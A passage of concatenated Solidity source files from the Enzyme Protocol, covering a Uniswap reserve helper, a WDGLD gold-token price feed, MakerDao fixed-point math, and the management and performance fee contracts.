(bool token0ToToken1, uint256 amountIn) = __calcProfitMaximizingTrade(
_token0TrustedRateAmount,
_token1TrustedRateAmount,
reserve0_,
reserve1_
);
if (amountIn == 0) {
return (reserve0_, reserve1_);
}
// Adjust the reserves to account for the arb trade to the trusted price
if (token0ToToken1) {
uint256 amountOut = __uniswapV2GetAmountOut(amountIn, reserve0_, reserve1_);
reserve0_ = reserve0_.add(amountIn);
reserve1_ = reserve1_.sub(amountOut);
} else {
uint256 amountOut = __uniswapV2GetAmountOut(amountIn, reserve1_, reserve0_);
reserve1_ = reserve1_.add(amountIn);
reserve0_ = reserve0_.sub(amountOut);
}
return (reserve0_, reserve1_);
}
/// @dev Uniswap square root function. See:
/// https://github.com/Uniswap/uniswap-lib/blob/6ddfedd5716ba85b905bf34d7f1f3c659101a1bc/contracts/libraries/Babylonian.sol
function __uniswapSqrt(uint256 _y) private pure returns (uint256 z_) {
if (_y > 3) {
z_ = _y;
uint256 x = _y / 2 + 1;
while (x < z_) {
z_ = x;
x = (_y / x + x) / 2;
}
} else if (_y != 0) {
z_ = 1;
}
// else z_ = 0
return z_;
}
/// @dev Simplified version of UniswapV2Library's getAmountOut() function. See:
/// https://github.com/Uniswap/uniswap-v2-periphery/blob/87edfdcaf49ccc52591502993db4c8c08ea9eec0/contracts/libraries/UniswapV2Library.sol#L42-L50
function __uniswapV2GetAmountOut(
uint256 _amountIn,
uint256 _reserveIn,
uint256 _reserveOut
) private pure returns (uint256 amountOut_) {
uint256 amountInWithFee = _amountIn.mul(997);
uint256 numerator = amountInWithFee.mul(_reserveOut);
uint256 denominator = _reserveIn.mul(1000).add(amountInWithFee);
return numerator.div(denominator);
}
}
// SPDX-License-Identifier: GPL-3.0
/*
This file is part of the Enzyme Protocol.
(c) Enzyme Council <[email protected]>
For the full license information, please view the LICENSE
file that was distributed with this source code.
*/
pragma solidity 0.6.12;
/// @title IUniswapV2Factory Interface
/// @author Enzyme Council <[email protected]>
/// @notice Minimal interface for our interactions with the Uniswap V2's Factory contract
interface IUniswapV2Factory {
function feeTo() external view returns (address);
function getPair(address, address) external view returns (address);
}
// SPDX-License-Identifier: GPL-3.0
/*
This file is part of the Enzyme Protocol.
(c) Enzyme Council <[email protected]>
For the full license information, please view the LICENSE
file that was distributed with this source code.
*/
pragma solidity 0.6.12;
import "@openzeppelin/contracts/math/SafeMath.sol";
import "../../../../interfaces/IChainlinkAggregator.sol";
import "../../../../utils/MakerDaoMath.sol";
import "../IDerivativePriceFeed.sol";
/// @title WdgldPriceFeed Contract
/// @author Enzyme Council <[email protected]>
/// @notice Price source oracle for WDGLD <https://dgld.ch/>
contract WdgldPriceFeed is IDerivativePriceFeed, MakerDaoMath {
using SafeMath for uint256;
address private immutable XAU_AGGREGATOR;
address private immutable ETH_AGGREGATOR;
address private immutable WDGLD;
address private immutable WETH;
// GTR_CONSTANT aggregates all the invariants in the GTR formula to save gas
uint256 private constant GTR_CONSTANT = 999990821653213975346065101;
uint256 private constant GTR_PRECISION = 10**27;
uint256 private constant WDGLD_GENESIS_TIMESTAMP = 1568700000;
constructor(
address _wdgld,
address _weth,
address _ethAggregator,
address _xauAggregator
) public {
WDGLD = _wdgld;
WETH = _weth;
ETH_AGGREGATOR = _ethAggregator;
XAU_AGGREGATOR = _xauAggregator;
}
/// @notice Converts a given amount of a derivative to its underlying asset values
/// @param _derivative The derivative to convert
/// @param _derivativeAmount The amount of the derivative to convert
/// @return underlyings_ The underlying assets for the _derivative
/// @return underlyingAmounts_ The amount of each underlying asset for the equivalent derivative amount
function calcUnderlyingValues(address _derivative, uint256 _derivativeAmount)
external
override
returns (address[] memory underlyings_, uint256[] memory underlyingAmounts_)
{
require(isSupportedAsset(_derivative), "calcUnderlyingValues: Only WDGLD is supported");
underlyings_ = new address[](1);
underlyings_[0] = WETH;
underlyingAmounts_ = new uint256[](1);
// Get price rates from xau and eth aggregators
int256 xauToUsdRate = IChainlinkAggregator(XAU_AGGREGATOR).latestAnswer();
int256 ethToUsdRate = IChainlinkAggregator(ETH_AGGREGATOR).latestAnswer();
require(xauToUsdRate > 0 && ethToUsdRate > 0, "calcUnderlyingValues: rate invalid");
uint256 wdgldToXauRate = calcWdgldToXauRate();
// 10**17 is a combination of ETH_UNIT / WDGLD_UNIT * GTR_PRECISION
underlyingAmounts_[0] = _derivativeAmount
.mul(wdgldToXauRate)
.mul(uint256(xauToUsdRate))
.div(uint256(ethToUsdRate))
.div(10**17);
return (underlyings_, underlyingAmounts_);
}
/// @notice Calculates the rate of WDGLD to XAU.
/// @return wdgldToXauRate_ The current rate of WDGLD to XAU
/// @dev Full formula available <https://dgld.ch/assets/documents/dgld-whitepaper.pdf>
function calcWdgldToXauRate() public view returns (uint256 wdgldToXauRate_) {
return
__rpow(
GTR_CONSTANT,
((block.timestamp).sub(WDGLD_GENESIS_TIMESTAMP)).div(28800), // 60 * 60 * 8 (8 hour periods)
GTR_PRECISION
)
.div(10);
}
/// @notice Checks if an asset is supported by this price feed
/// @param _asset The asset to check
/// @return isSupported_ True if supported
function isSupportedAsset(address _asset) public view override returns (bool isSupported_) {
return _asset == WDGLD;
}
///////////////////
// STATE GETTERS //
///////////////////
/// @notice Gets the `ETH_AGGREGATOR` address
/// @return ethAggregatorAddress_ The `ETH_AGGREGATOR` address
function getEthAggregator() external view returns (address ethAggregatorAddress_) {
return ETH_AGGREGATOR;
}
/// @notice Gets the `WDGLD` token address
/// @return wdgld_ The `WDGLD` token address
function getWdgld() external view returns (address wdgld_) {
return WDGLD;
}
/// @notice Gets the `WETH` token address
/// @return weth_ The `WETH` token address
function getWeth() external view returns (address weth_) {
return WETH;
}
/// @notice Gets the `XAU_AGGREGATOR` address
/// @return xauAggregatorAddress_ The `XAU_AGGREGATOR` address
function getXauAggregator() external view returns (address xauAggregatorAddress_) {
return XAU_AGGREGATOR;
}
}
// SPDX-License-Identifier: GPL-3.0
/*
This file is part of the Enzyme Protocol.
(c) Enzyme Council <[email protected]>
For the full license information, please view the LICENSE
file that was distributed with this source code.
*/
pragma solidity 0.6.12;
/// @title IChainlinkAggregator Interface
/// @author Enzyme Council <[email protected]>
interface IChainlinkAggregator {
function latestAnswer() external view returns (int256);
function latestTimestamp() external view returns (uint256);
}
// SPDX-License-Identifier: AGPL-3.0-or-later
// Copyright (C) 2018 Rain <[email protected]>
//
// This program is free software: you can redistribute it and/or modify
// it under the terms of the GNU Affero General Public License as published by
// the Free Software Foundation, either version 3 of the License, or
// (at your option) any later version.
//
// This program is distributed in the hope that it will be useful,
// but WITHOUT ANY WARRANTY; without even the implied warranty of
// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
// GNU Affero General Public License for more details.
//
// You should have received a copy of the GNU Affero General Public License
// along with this program. If not, see <https://www.gnu.org/licenses/>.
pragma solidity 0.6.12;
/// @title MakerDaoMath Contract
/// @author Enzyme Council <[email protected]>
/// @notice Helper functions for math operations adapted from MakerDao contracts
abstract contract MakerDaoMath {
/// @dev Performs scaled, fixed-point exponentiation.
/// Verbatim code, adapted to our style guide for variable naming only, see:
/// https://github.com/makerdao/dss/blob/master/src/pot.sol#L83-L105
// prettier-ignore
function __rpow(uint256 _x, uint256 _n, uint256 _base) internal pure returns (uint256 z_) {
assembly {
switch _x case 0 {switch _n case 0 {z_ := _base} default {z_ := 0}}
default {
switch mod(_n, 2) case 0 { z_ := _base } default { z_ := _x }
let half := div(_base, 2)
for { _n := div(_n, 2) } _n { _n := div(_n,2) } {
let xx := mul(_x, _x)
if iszero(eq(div(xx, _x), _x)) { revert(0,0) }
let xxRound := add(xx, half)
if lt(xxRound, xx) { revert(0,0) }
_x := div(xxRound, _base)
if mod(_n,2) {
let zx := mul(z_, _x)
if and(iszero(iszero(_x)), iszero(eq(div(zx, _x), z_))) { revert(0,0) }
let zxRound := add(zx, half)
if lt(zxRound, zx) { revert(0,0) }
z_ := div(zxRound, _base)
}
}
}
}
return z_;
}
}
// SPDX-License-Identifier: GPL-3.0
/*
This file is part of the Enzyme Protocol.
(c) Enzyme Council <[email protected]>
For the full license information, please view the LICENSE
file that was distributed with this source code.
*/
pragma solidity 0.6.12;
pragma experimental ABIEncoderV2;
import "@openzeppelin/contracts/math/SafeMath.sol";
import "../../../core/fund/vault/VaultLib.sol";
import "../../../utils/MakerDaoMath.sol";
import "./utils/FeeBase.sol";
/// @title ManagementFee Contract
/// @author Enzyme Council <[email protected]>
/// @notice A management fee with a configurable annual rate
contract ManagementFee is FeeBase, MakerDaoMath {
using SafeMath for uint256;
event FundSettingsAdded(address indexed comptrollerProxy, uint256 scaledPerSecondRate);
event Settled(
address indexed comptrollerProxy,
uint256 sharesQuantity,
uint256 secondsSinceSettlement
);
struct FeeInfo {
uint256 scaledPerSecondRate;
uint256 lastSettled;
}
uint256 private constant RATE_SCALE_BASE = 10**27;
mapping(address => FeeInfo) private comptrollerProxyToFeeInfo;
constructor(address _feeManager) public FeeBase(_feeManager) {}
// EXTERNAL FUNCTIONS
/// @notice Activates the fee for a fund
/// @param _comptrollerProxy The ComptrollerProxy of the fund
/// @param _vaultProxy The VaultProxy of the fund
function activateForFund(address _comptrollerProxy, address _vaultProxy)
external
override
onlyFeeManager
{
// It is only necessary to set `lastSettled` for a migrated fund
if (VaultLib(_vaultProxy).totalSupply() > 0) {
comptrollerProxyToFeeInfo[_comptrollerProxy].lastSettled = block.timestamp;
}
}
/// @notice Add the initial fee settings for a fund
/// @param _comptrollerProxy The ComptrollerProxy of the fund
/// @param _settingsData Encoded settings to apply to the fee for a fund
function addFundSettings(address _comptrollerProxy, bytes calldata _settingsData)
external
override
onlyFeeManager
{
uint256 scaledPerSecondRate = abi.decode(_settingsData, (uint256));
require(
scaledPerSecondRate > 0,
"addFundSettings: scaledPerSecondRate must be greater than 0"
);
comptrollerProxyToFeeInfo[_comptrollerProxy] = FeeInfo({
scaledPerSecondRate: scaledPerSecondRate,
lastSettled: 0
});
emit FundSettingsAdded(_comptrollerProxy, scaledPerSecondRate);
}
/// @notice Provides a constant string identifier for a fee
/// @return identifier_ The identifier string
function identifier() external pure override returns (string memory identifier_) {
return "MANAGEMENT";
}
/// @notice Gets the hooks that are implemented by the fee
/// @return implementedHooksForSettle_ The hooks during which settle() is implemented
/// @return implementedHooksForUpdate_ The hooks during which update() is implemented
/// @return usesGavOnSettle_ True if GAV is used during the settle() implementation
/// @return usesGavOnUpdate_ True if GAV is used during the update() implementation
/// @dev Used only during fee registration
function implementedHooks()
external
view
override
returns (
IFeeManager.FeeHook[] memory implementedHooksForSettle_,
IFeeManager.FeeHook[] memory implementedHooksForUpdate_,
bool usesGavOnSettle_,
bool usesGavOnUpdate_
)
{
implementedHooksForSettle_ = new IFeeManager.FeeHook[](3);
implementedHooksForSettle_[0] = IFeeManager.FeeHook.Continuous;
implementedHooksForSettle_[1] = IFeeManager.FeeHook.BuySharesSetup;
implementedHooksForSettle_[2] = IFeeManager.FeeHook.PreRedeemShares;
return (implementedHooksForSettle_, new IFeeManager.FeeHook[](0), false, false);
}
/// @notice Settle the fee and calculate shares due
/// @param _comptrollerProxy The ComptrollerProxy of the fund
/// @param _vaultProxy The VaultProxy of the fund
/// @return settlementType_ The type of settlement
/// @return (unused) The payer of shares due
/// @return sharesDue_ The amount of shares due
function settle(
address _comptrollerProxy,
address _vaultProxy,
IFeeManager.FeeHook,
bytes calldata,
uint256
)
external
override
onlyFeeManager
returns (
IFeeManager.SettlementType settlementType_,
address,
uint256 sharesDue_
)
{
FeeInfo storage feeInfo = comptrollerProxyToFeeInfo[_comptrollerProxy];
// If this fee was settled in the current block, we can return early
uint256 secondsSinceSettlement = block.timestamp.sub(feeInfo.lastSettled);
if (secondsSinceSettlement == 0) {
return (IFeeManager.SettlementType.None, address(0), 0);
}
// If there are shares issued for the fund, calculate the shares due
VaultLib vaultProxyContract = VaultLib(_vaultProxy);
uint256 sharesSupply = vaultProxyContract.totalSupply();
if (sharesSupply > 0) {
// This assumes that all shares in the VaultProxy are shares outstanding,
// which is fine for this release. Even if they are not, they are still shares that
// are only claimable by the fund owner.
uint256 netSharesSupply = sharesSupply.sub(vaultProxyContract.balanceOf(_vaultProxy));
if (netSharesSupply > 0) {
sharesDue_ = netSharesSupply
.mul(
__rpow(feeInfo.scaledPerSecondRate, secondsSinceSettlement, RATE_SCALE_BASE)
.sub(RATE_SCALE_BASE)
)
.div(RATE_SCALE_BASE);
}
}
// Must settle even when no shares are due, for the case that settlement is being
// done when there are no shares in the fund (i.e. at the first investment, or at the
// first investment after all shares have been redeemed)
comptrollerProxyToFeeInfo[_comptrollerProxy].lastSettled = block.timestamp;
emit Settled(_comptrollerProxy, sharesDue_, secondsSinceSettlement);
if (sharesDue_ == 0) {
return (IFeeManager.SettlementType.None, address(0), 0);
}
return (IFeeManager.SettlementType.Mint, address(0), sharesDue_);
}
///////////////////
// STATE GETTERS //
///////////////////
/// @notice Gets the feeInfo for a given fund
/// @param _comptrollerProxy The ComptrollerProxy contract of the fund
/// @return feeInfo_ The feeInfo
function getFeeInfoForFund(address _comptrollerProxy)
external
view
returns (FeeInfo memory feeInfo_)
{
return comptrollerProxyToFeeInfo[_comptrollerProxy];
}
}
// SPDX-License-Identifier: GPL-3.0
/*
This file is part of the Enzyme Protocol.
(c) Enzyme Council <[email protected]>
For the full license information, please view the LICENSE
file that was distributed with this source code.
*/
pragma solidity 0.6.12;
import "../../IFee.sol";
/// @title FeeBase Contract
/// @author Enzyme Council <[email protected]>
/// @notice Abstract base contract for all fees
abstract contract FeeBase is IFee {
address internal immutable FEE_MANAGER;
modifier onlyFeeManager {
require(msg.sender == FEE_MANAGER, "Only the FeeManger can make this call");
_;
}
constructor(address _feeManager) public {
FEE_MANAGER = _feeManager;
}
/// @notice Allows Fee to run logic during fund activation
/// @dev Unimplemented by default, may be overrode.
function activateForFund(address, address) external virtual override {
return;
}
/// @notice Runs payout logic for a fee that utilizes shares outstanding as its settlement type
/// @dev Returns false by default, can be overridden by fee
function payout(address, address) external virtual override returns (bool) {
return false;
}
/// @notice Update fee state after all settlement has occurred during a given fee hook
/// @dev Unimplemented by default, can be overridden by fee
function update(
address,
address,
IFeeManager.FeeHook,
bytes calldata,
uint256
) external virtual override {
return;
}
/// @notice Helper to parse settlement arguments from encoded data for PreBuyShares fee hook
function __decodePreBuySharesSettlementData(bytes memory _settlementData)
internal
pure
returns (
address buyer_,
uint256 investmentAmount_,
uint256 minSharesQuantity_
)
{
return abi.decode(_settlementData, (address, uint256, uint256));
}
/// @notice Helper to parse settlement arguments from encoded data for PreRedeemShares fee hook
function __decodePreRedeemSharesSettlementData(bytes memory _settlementData)
internal
pure
returns (address redeemer_, uint256 sharesQuantity_)
{
return abi.decode(_settlementData, (address, uint256));
}
/// @notice Helper to parse settlement arguments from encoded data for PostBuyShares fee hook
function __decodePostBuySharesSettlementData(bytes memory _settlementData)
internal
pure
returns (
address buyer_,
uint256 investmentAmount_,
uint256 sharesBought_
)
{
return abi.decode(_settlementData, (address, uint256, uint256));
}
///////////////////
// STATE GETTERS //
///////////////////
/// @notice Gets the `FEE_MANAGER` variable
/// @return feeManager_ The `FEE_MANAGER` variable value
function getFeeManager() external view returns (address feeManager_) {
return FEE_MANAGER;
}
}
// SPDX-License-Identifier: GPL-3.0
/*
This file is part of the Enzyme Protocol.
(c) Enzyme Council <[email protected]>
For the full license information, please view the LICENSE
file that was distributed with this source code.
*/
pragma solidity 0.6.12;
import "./IFeeManager.sol";
/// @title Fee Interface
/// @author Enzyme Council <[email protected]>
/// @notice Interface for all fees
interface IFee {
function activateForFund(address _comptrollerProxy, address _vaultProxy) external;
function addFundSettings(address _comptrollerProxy, bytes calldata _settingsData) external;
function identifier() external pure returns (string memory identifier_);
function implementedHooks()
external
view
returns (
IFeeManager.FeeHook[] memory implementedHooksForSettle_,
IFeeManager.FeeHook[] memory implementedHooksForUpdate_,
bool usesGavOnSettle_,
bool usesGavOnUpdate_
);
function payout(address _comptrollerProxy, address _vaultProxy)
external
returns (bool isPayable_);
function settle(
address _comptrollerProxy,
address _vaultProxy,
IFeeManager.FeeHook _hook,
bytes calldata _settlementData,
uint256 _gav
)
external
returns (
IFeeManager.SettlementType settlementType_,
address payer_,
uint256 sharesDue_
);
function update(
address _comptrollerProxy,
address _vaultProxy,
IFeeManager.FeeHook _hook,
bytes calldata _settlementData,
uint256 _gav
) external;
}
// SPDX-License-Identifier: GPL-3.0
/*
This file is part of the Enzyme Protocol.
(c) Enzyme Council <[email protected]>
For the full license information, please view the LICENSE
file that was distributed with this source code.
*/
pragma solidity 0.6.12;
pragma experimental ABIEncoderV2;
import "@openzeppelin/contracts/math/SafeMath.sol";
import "@openzeppelin/contracts/math/SignedSafeMath.sol";
import "@openzeppelin/contracts/token/ERC20/ERC20.sol";
import "../../../core/fund/comptroller/ComptrollerLib.sol";
import "../FeeManager.sol";
import "./utils/FeeBase.sol";
/// @title PerformanceFee Contract
/// @author Enzyme Council <[email protected]>
/// @notice A performance-based fee with configurable rate and crystallization period, using
/// a high watermark
/// @dev This contract assumes that all shares in the VaultProxy are shares outstanding,
/// which is fine for this release. Even if they are not, they are still shares that
/// are only claimable by the fund owner.
contract PerformanceFee is FeeBase {
using SafeMath for uint256;
using SignedSafeMath for int256;
event ActivatedForFund(address indexed comptrollerProxy, uint256 highWaterMark);
event FundSettingsAdded(address indexed comptrollerProxy, uint256 rate, uint256 period);
event LastSharePriceUpdated(
address indexed comptrollerProxy,
uint256 prevSharePrice,
uint256 nextSharePrice
);
event PaidOut(
address indexed comptrollerProxy,
uint256 prevHighWaterMark,
uint256 nextHighWaterMark,
uint256 aggregateValueDue
);
event PerformanceUpdated(
address indexed comptrollerProxy,
uint256 prevAggregateValueDue,
uint256 nextAggregateValueDue,
int256 sharesOutstandingDiff
);
struct FeeInfo {
uint256 rate;
uint256 period;
uint256 activated;
uint256 lastPaid;
uint256 highWaterMark;
uint256 lastSharePrice;
uint256 aggregateValueDue;
}
uint256 private constant RATE_DIVISOR = 10**18;
uint256 private constant SHARE_UNIT = 10**18;
mapping(address => FeeInfo) private comptrollerProxyToFeeInfo;
constructor(address _feeManager) public FeeBase(_feeManager) {}
// EXTERNAL FUNCTIONS
/// @notice Activates the fee for a fund
/// @param _comptrollerProxy The ComptrollerProxy of the fund
function activateForFund(address _comptrollerProxy, address) external override onlyFeeManager {
FeeInfo storage feeInfo = comptrollerProxyToFeeInfo[_comptrollerProxy];
// We must not force asset finality, otherwise funds that have Synths as tracked assets
// would be susceptible to a DoS attack when attempting to migrate to a release that uses
// this fee: an attacker trades a negligible amount of a tracked Synth with the VaultProxy
// as the recipient, thus causing `calcGrossShareValue(true)` to fail.
(uint256 grossSharePrice, bool sharePriceIsValid) = ComptrollerLib(_comptrollerProxy)
.calcGrossShareValue(false);
require(sharePriceIsValid, "activateForFund: Invalid share price");
feeInfo.highWaterMark = grossSharePrice;
feeInfo.lastSharePrice = grossSharePrice;
feeInfo.activated = block.timestamp;
emit ActivatedForFund(_comptrollerProxy, grossSharePrice);
}
/// @notice Add the initial fee settings for a fund
/// @param _comptrollerProxy The ComptrollerProxy of the fund
/// @param _settingsData Encoded settings to apply to the policy for the fund
/// @dev `highWaterMark`, `lastSharePrice`, and `activated` are set during activation
function addFundSettings(address _comptrollerProxy, bytes calldata _settingsData)
external
override
onlyFeeManager
{
(uint256 feeRate, uint256 feePeriod) = abi.decode(_settingsData, (uint256, uint256));
require(feeRate > 0, "addFundSettings: feeRate must be greater than 0");
require(feePeriod > 0, "addFundSettings: feePeriod must be greater than 0");
comptrollerProxyToFeeInfo[_comptrollerProxy] = FeeInfo({
rate: feeRate,
period: feePeriod,
activated: 0,
lastPaid: 0,
highWaterMark: 0,
lastSharePrice: 0,
aggregateValueDue: 0
});
emit FundSettingsAdded(_comptrollerProxy, feeRate, feePeriod);
}
/// @notice Provides a constant string identifier for a fee
/// @return identifier_ The identifier string
function identifier() external pure override returns (string memory identifier_) {
return "PERFORMANCE";
}
/// @notice Gets the hooks that are implemented by the fee
/// @return implementedHooksForSettle_ The hooks during which settle() is implemented
/// @return implementedHooksForUpdate_ The hooks during which update() is implemented
/// @return usesGavOnSettle_ True if GAV is used during the settle() implementation
/// @return usesGavOnUpdate_ True if GAV is used during the update() implementation
/// @dev Used only during fee registration
function implementedHooks()
external
view
override
returns (
IFeeManager.FeeHook[] memory implementedHooksForSettle_,
IFeeManager.FeeHook[] memory implementedHooksForUpdate_,
bool usesGavOnSettle_,
bool usesGavOnUpdate_
)
{
implementedHooksForSettle_ = new IFeeManager.FeeHook[](3);
implementedHooksForSettle_[0] = IFeeManager.FeeHook.Continuous;
implementedHooksForSettle_[1] = IFeeManager.FeeHook.BuySharesSetup;
implementedHooksForSettle_[2] = IFeeManager.FeeHook.PreRedeemShares;
implementedHooksForUpdate_ = new IFeeManager.FeeHook[](3);
implementedHooksForUpdate_[0] = IFeeManager.FeeHook.Continuous;
implementedHooksForUpdate_[1] = IFeeManager.FeeHook.BuySharesCompleted;
implementedHooksForUpdate_[2] = IFeeManager.FeeHook.PreRedeemShares;
return (implementedHooksForSettle_, implementedHooksForUpdate_, true, true);
}
/// @notice Checks whether the shares outstanding for the fee can be paid out, and updates
/// the info for the fee's last payout
/// @param _comptrollerProxy The ComptrollerProxy of the fund
/// @return isPayable_ True if shares outstanding can be paid out
function payout(address _comptrollerProxy, address)
external
override
onlyFeeManager
returns (bool isPayable_)
{
if (!payoutAllowed(_comptrollerProxy)) {
return false;
}
FeeInfo storage feeInfo = comptrollerProxyToFeeInfo[_comptrollerProxy];
feeInfo.lastPaid = block.timestamp;
uint256 prevHighWaterMark = feeInfo.highWaterMark;
uint256 nextHighWaterMark = __calcUint256Max(feeInfo.lastSharePrice, prevHighWaterMark);
uint256 prevAggregateValueDue = feeInfo.aggregateValueDue;
// Update state as necessary
if (prevAggregateValueDue > 0) {
feeInfo.aggregateValueDue = 0;
}
if (nextHighWaterMark > prevHighWaterMark) {
feeInfo.highWaterMark = nextHighWaterMark;
}
emit PaidOut(
_comptrollerProxy,
prevHighWaterMark,
nextHighWaterMark,
prevAggregateValueDue
);
return true;
}
/// @notice Settles the fee and calculates shares due
/// @param _comptrollerProxy The ComptrollerProxy of the fund
/// @param _vaultProxy The VaultProxy of the fund
/// @param _gav The GAV of the fund
/// @return settlementType_ The type of settlement
/// @return (unused) The payer of shares due
/// @return sharesDue_ The amount of shares due
function settle(
address _comptrollerProxy,
address _vaultProxy,
IFeeManager.FeeHook,
bytes calldata,
uint256 _gav
)
external
override
onlyFeeManager
returns (
IFeeManager.SettlementType settlementType_,
address,
uint256 sharesDue_
)
{
if (_gav == 0) {
return (IFeeManager.SettlementType.None, address(0), 0);
}
int256 settlementSharesDue = __settleAndUpdatePerformance(
_comptrollerProxy,
_vaultProxy,
_gav
);
if (settlementSharesDue == 0) {
return (IFeeManager.SettlementType.None, address(0), 0);
} else if (settlementSharesDue > 0) {
// Settle by minting shares outstanding for custody
return (
IFeeManager.SettlementType.MintSharesOutstanding,
address(0),
uint256(settlementSharesDue)
);
} else {
// Settle by burning from shares outstanding
return (
IFeeManager.SettlementType.BurnSharesOutstanding,
address(0),
uint256(-settlementSharesDue)
);
}
}
/// @notice Updates the fee state after all fees have finished settle()
/// @param _comptrollerProxy The ComptrollerProxy of the fund
/// @param _vaultProxy The VaultProxy of the fund
/// @param _hook The FeeHook being executed
/// @param _settlementData Encoded args to use in calculating the settlement
/// @param _gav The GAV of the fund
function update(
address _comptrollerProxy,
address _vaultProxy,
IFeeManager.FeeHook _hook,
bytes calldata _settlementData,
uint256 _gav
) external override onlyFeeManager {
uint256 prevSharePrice = comptrollerProxyToFeeInfo[_comptrollerProxy].lastSharePrice;
uint256 nextSharePrice = __calcNextSharePrice(
_comptrollerProxy,
_vaultProxy,
_hook,
_settlementData,
_gav
);
if (nextSharePrice == prevSharePrice) {
return;
}
comptrollerProxyToFeeInfo[_comptrollerProxy].lastSharePrice = nextSharePrice;
emit LastSharePriceUpdated(_comptrollerProxy, prevSharePrice, nextSharePrice);
}
// PUBLIC FUNCTIONS
/// @notice Checks whether the shares outstanding can be paid out
/// @param _comptrollerProxy The ComptrollerProxy of the fund
/// @return payoutAllowed_ True if the fee payment is due
/// @dev Payout is allowed if fees have not yet been settled in a crystallization period,
/// and at least 1 crystallization period has passed since activation
function payoutAllowed(address _comptrollerProxy) public view returns (bool payoutAllowed_) {
FeeInfo memory feeInfo = comptrollerProxyToFeeInfo[_comptrollerProxy];
uint256 period = feeInfo.period;
uint256 timeSinceActivated = block.timestamp.sub(feeInfo.activated);
// Check if at least 1 crystallization period has passed since activation
if (timeSinceActivated < period) {
return false;
}
// Check that a full crystallization period has passed since the last payout
uint256 timeSincePeriodStart = timeSinceActivated % period;
uint256 periodStart = block.timestamp.sub(timeSincePeriodStart);
return feeInfo.lastPaid < periodStart;
}
// PRIVATE FUNCTIONS
/// @dev Helper to calculate the aggregated value accumulated to a fund since the last
/// settlement (happening at investment/redemption)
/// Validated:
/// _netSharesSupply > 0
/// _sharePriceWithoutPerformance != _prevSharePrice
function __calcAggregateValueDue(
uint256 _netSharesSupply,
uint256 _sharePriceWithoutPerformance,
uint256 _prevSharePrice,
uint256 _prevAggregateValueDue,
uint256 _feeRate,
uint256 _highWaterMark
) private pure returns (uint256) {
int256 superHWMValueSinceLastSettled = (
int256(__calcUint256Max(_highWaterMark, _sharePriceWithoutPerformance)).sub(
int256(__calcUint256Max(_highWaterMark, _prevSharePrice))
)
)
.mul(int256(_netSharesSupply))
.div(int256(SHARE_UNIT));
int256 valueDueSinceLastSettled = superHWMValueSinceLastSettled.mul(int256(_feeRate)).div(
int256(RATE_DIVISOR)
);
return
uint256(
__calcInt256Max(0, int256(_prevAggregateValueDue).add(valueDueSinceLastSettled))
);
}
/// @dev Helper to calculate the max of two int values
function __calcInt256Max(int256 _a, int256 _b) private pure returns (int256) {
if (_a >= _b) {
return _a;
}
return _b;
}
/// @dev Helper to calculate the next `lastSharePrice` value
function __calcNextSharePrice(
address _comptrollerProxy,
address _vaultProxy,
IFeeManager.FeeHook _hook,
bytes memory _settlementData,
uint256 _gav
) private view returns (uint256 nextSharePrice_) {
uint256 denominationAssetUnit = 10 **
uint256(ERC20(ComptrollerLib(_comptrollerProxy).getDenominationAsset()).decimals());
if (_gav == 0) {
return denominationAssetUnit;
}
// Get shares outstanding via VaultProxy balance and calc shares supply to get net shares supply
ERC20 vaultProxyContract = ERC20(_vaultProxy);
uint256 totalSharesSupply = vaultProxyContract.totalSupply();
uint256 nextNetSharesSupply = totalSharesSupply.sub(
vaultProxyContract.balanceOf(_vaultProxy)
);
if (nextNetSharesSupply == 0) {
return denominationAssetUnit;
}
uint256 nextGav = _gav;
// For both Continuous and BuySharesCompleted hooks, _gav and shares supply will not change,
// we only need additional calculations for PreRedeemShares
if (_hook == IFeeManager.FeeHook.PreRedeemShares) {
(, uint256 sharesDecrease) = __decodePreRedeemSharesSettlementData(_settlementData);
// Shares have not yet been burned
nextNetSharesSupply = nextNetSharesSupply.sub(sharesDecrease);
if (nextNetSharesSupply == 0) {
return denominationAssetUnit;
}
// Assets have not yet been withdrawn
uint256 gavDecrease = sharesDecrease
.mul(_gav)
.mul(SHARE_UNIT)
.div(totalSharesSupply)
.div(denominationAssetUnit);
nextGav = nextGav.sub(gavDecrease);
if (nextGav == 0) {
return denominationAssetUnit;
}
}
return nextGav.mul(SHARE_UNIT).div(nextNetSharesSupply);
}
/// @dev Helper to calculate the performance metrics for a fund.
/// Validated:
/// _totalSharesSupply > 0
/// _gav > 0
/// _totalSharesSupply != _totalSharesOutstanding
function __calcPerformance(
address _comptrollerProxy,
uint256 _totalSharesSupply,
uint256 _totalSharesOutstanding,
uint256 _prevAggregateValueDue,
FeeInfo memory feeInfo,
uint256 _gav
) private view returns (uint256 nextAggregateValueDue_, int256 sharesDue_) {
// Use the 'shares supply net shares outstanding' for performance calcs.
// Cannot be 0, as _totalSharesSupply != _totalSharesOutstanding
uint256 netSharesSupply = _totalSharesSupply.sub(_totalSharesOutstanding);
uint256 sharePriceWithoutPerformance = _gav.mul(SHARE_UNIT).div(netSharesSupply);
// If gross share price has not changed, can exit early
uint256 prevSharePrice = feeInfo.lastSharePrice;
if (sharePriceWithoutPerformance == prevSharePrice) {
return (_prevAggregateValueDue, 0);
}
nextAggregateValueDue_ = __calcAggregateValueDue(
netSharesSupply,
sharePriceWithoutPerformance,
prevSharePrice,
_prevAggregateValueDue,
feeInfo.rate,
feeInfo.highWaterMark
);
sharesDue_ = __calcSharesDue(
_comptrollerProxy,
netSharesSupply,
_gav,
nextAggregateValueDue_
);
return (nextAggregateValueDue_, sharesDue_);
}
/// @dev Helper to calculate sharesDue during settlement.
/// Validated:
/// _netSharesSupply > 0
/// _gav > 0
function __calcSharesDue(
address _comptrollerProxy,
uint256 _netSharesSupply,
uint256 _gav,
uint256 _nextAggregateValueDue
) private view returns (int256 sharesDue_) {
// If _nextAggregateValueDue > _gav, then no shares can be created.
// This is a known limitation of the model, which is only reached for unrealistically
// high performance fee rates (> 100%). A revert is allowed in such a case.
uint256 sharesDueForAggregateValueDue = _nextAggregateValueDue.mul(_netSharesSupply).div(
_gav.sub(_nextAggregateValueDue)
);
// Shares due is the +/- diff or the total shares outstanding already minted
return
int256(sharesDueForAggregateValueDue).sub(
int256(
FeeManager(FEE_MANAGER).getFeeSharesOutstandingForFund(
_comptrollerProxy,
address(this)
)
)
);
}
/// @dev Helper to calculate the max of two uint values
function __calcUint256Max(uint256 _a, uint256 _b) private pure returns (uint256) {
if (_a >= _b) {
return _a;
}
return _b;
}
/// @dev Helper to settle the fee and update performance state.
/// Validated:
/// _gav > 0
function __settleAndUpdatePerformance(
